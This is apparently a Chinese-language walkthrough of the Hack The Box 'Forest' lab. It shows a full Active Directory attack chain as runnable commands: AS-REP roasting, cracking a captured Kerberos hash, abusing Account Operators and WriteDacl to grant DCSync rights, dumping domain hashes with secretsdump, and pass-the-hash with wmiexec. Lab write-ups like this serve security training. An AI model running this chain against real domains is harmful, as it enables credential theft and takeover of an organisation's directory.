HTB-Forest
靶机ip:10.10.10.161
知识点
- AD域渗透提取
- AS-REP Roasting攻击
- Hash爆破
- PTH传递攻击
- 滥用DCSync
信息收集
nmap扫描
拿namp扫一下
nmap -sS -sV -sC 10.10.10.161
发现存在系统Windows Server 2016
,有DNS
服务,Kerberos
服务,smb
共享服务,RPC
服务,无web页面,只有AD域
先将域名加到配置文件中
1 | echo "10.10.10.161 htb.local" >> /etc/hosts |
Domain: htb.local
workgroup: HTB
SMB
尝试匿名登录SMB服务
smbclient -L \\10.10.10.161
也是没有什么重要信息
LDAP
尝试使用ldapsearch工具尝试获取域中的用户列表,根据之前得到的域名htb.local
构造如下命令:
ldapsearch -H ldap://10.10.10.161:389 -x -b "CN=users,DC=htb,DC=local"
也没什么重要的信息
RPC
利用RPC远程过程调用枚举用户
1 | ┌──(root㉿DESKTOP-K196DPF)-[~/MyFile] |
先将用户名整理出来
1 | Administrator |
AS-REP Roasting
拿到了用户名,这里又暴露了kerberos
端口88。尝试一下AS-REP Roasting
攻击。
将上面的用户名保存为user.txt
文件,使用GetNPUsers.py
尝试向kerberos
请求不需要预认证的票据
python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py htb.loacl/ -usersfile user.txt -dc-ip 10.10.10.161
拿到了一个svc-alfresco
用户的不需要预认证的票据hash
1 | $krb5asrep$23$svc-alfresco@HTB.LOCAL:ebdb0e07d33fac124f8f2366a628920c$fbfa4eaefaece3b6ac1f461570a97940f59e4551f620e061054800b9ce7ae9f86f5b711ef4579b3f9ff2706ab69ad3077ad1e4c81d246d7e83a029dff3837b8452ab50cab25aa6b528dce9584fbb87a37cb3589d09baf8a5e0e4f7e500a53c95772701bc45bca89bfacb2602c9192a121f70346f9436869c60b66573c8f0fbf05a36319686fec69cb54a04e311558fcc6790501776b4b1288ee55489e57131aeb4d944ed3769ccf5a26ff4e4cd418657afc6bd827d874faccde4c4dbbd194eba15ef470c69b39099751446310f18d5f800bc8d38c1f8a2b28064fecc963757f6e583d2afdd87 |
使用john
进行破解
将上述票据保存为hash
,使用john
爆破hash
值
john hash --wordlist=/usr/share/wordlists/rockyou.txt
john hash -show
拿到一个凭证:svc-alfresco : s3rvice
使用evil-winrm
远程连接
evil-winrm -i 10.10.10.161 -u 'svc-alfresco' -p 's3rvice'
最后在桌面上拿到user.txt
AD域渗透权限提升
BloodHound信息搜集
windows
权限提升有一款工具叫做BloodHound
这里使用的是kali的BloodHound
工具
1 | # 先启动 neo4j |
SharpHound.exe
下载链接:https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors
将SharpHound.exe
上传到目标机器并运行,即可得到一个zip文件,该文件里面就是信息搜集的结果,将它下载到本地
1 | upload /root/htb/Machines/forest/SharpHound.exe |
登录到Bloodhound,点击右边上传按钮,将解压后的json
文件提交上传
我们查找一下我们已有用户svc-alfresco
相关信息
信息分析
点击左侧Unrolled Group Membership
可以发现与其相关的用户组和用户
重点看下半部分
可以发现svc-alfresco
用户属于Account Operators
组,该组是AD域中的特权组之一,该组的成员可以创建和管理该域中的用户和组并为其设置权限,也可以在本地登录域控制器。 但是,不能更改属于Administrators
或Domain Admins
组的账号,也不能更改这些组。
点击Find Shortest Paths to Domain Admins
可以看到上图结果
其中,从svc-alfresco
到Domain Admins
的路径中发现,EXCHANGE WINDOWS PERMISSIONS
组与Account Operators
组有GenericAll
关系,表示EXCHANGE WINDOWS PERMISSIONS
组完全信任Account Operators
组,而上面还提到svc-alfresco
用户属于Account Operators
组,且Account Operators
组的成员可以创建和管理该域中的用户和组并为其设置权限,因此我们可以利用Account Operators
组的权限创建一个新用户,将其添加到EXCHANGE WINDOWS PERMISSIONS
组,同时可以看到EXCHANGE WINDOWS PERMISSIONS
组的成员对HTB.LOCAL
有WriteDacl
权限,可以用新添加的用户对HTB.LOCAL
的WriteDacl
权限进行恶意利用,从而实现提权
创建一个恶意用户
回到Evil-WinRM
,先利用ACCOUNT OPERATION
的权限去创建一个新的用户
1 | net user popayw 123abc! /add /domain # 创建用户 |
用户创建完毕,再利用WriteDacl
权限去给我们用户所在组加权限,这里使用PowerSploit
中的powerview.ps1
来滥用WriteDacl
权限,通过upload
将powerview.ps1
文件传进去
运行命令导入脚本
1 | . .\PowerView.ps1 |
这时候就会发现运行menu
模块增加
- 运行之前
- 运行之后
再定义两个变量,用于创建凭证对象并授予 DCSync
权限,其中Add-DomainObjectAcl
模块可以添加DCSync
权限
1 | $pass = convertto-securestring '123abc!' -AsPlainText -Force |
DCSync攻击导出域内哈希
- DCSync攻击原理
主要利用的是域控制器之间的数据同步复制
当一个 DC (客户端 DC)想从其他 DC (服务端 DC)获取数据时,客户端 DC 会向服务端 DC 发起一个 GetNCChanges 请求。回应的数据包括需要同步的数据。
如果需要同步的数据比较多,则会重复上述过程。毕竟每次回应的数据有限。
用户想要发起DCSync
攻击,必须获得以下任一用户的权限
- Administrators组内的用户
- Domain Admins组内的用户
- Enterprise Admins组内的用户
- 域控制器的计算机帐户
之前我们已经创建了一个有DCSync
权限的用户,我们可以使用secretsdump.py
工具执行 DCSync
以转储管理员用户的 NTLM
哈希
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py popayw:'123abc!'@10.10.10.161
可以看到已经拿到所有用户的hash
,包括admin
用户的
PTH传递攻击获取Root
拿到了管理员的hash
,就可以通过wmiexec
哈希传递拿到管理员用户的权限
python3 /usr/share/doc/python3-impacket/examples/wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 htb.local/administrator@10.10.10.161
成功拿到管理员用户的权限
最后也是在desktop
获取root.txt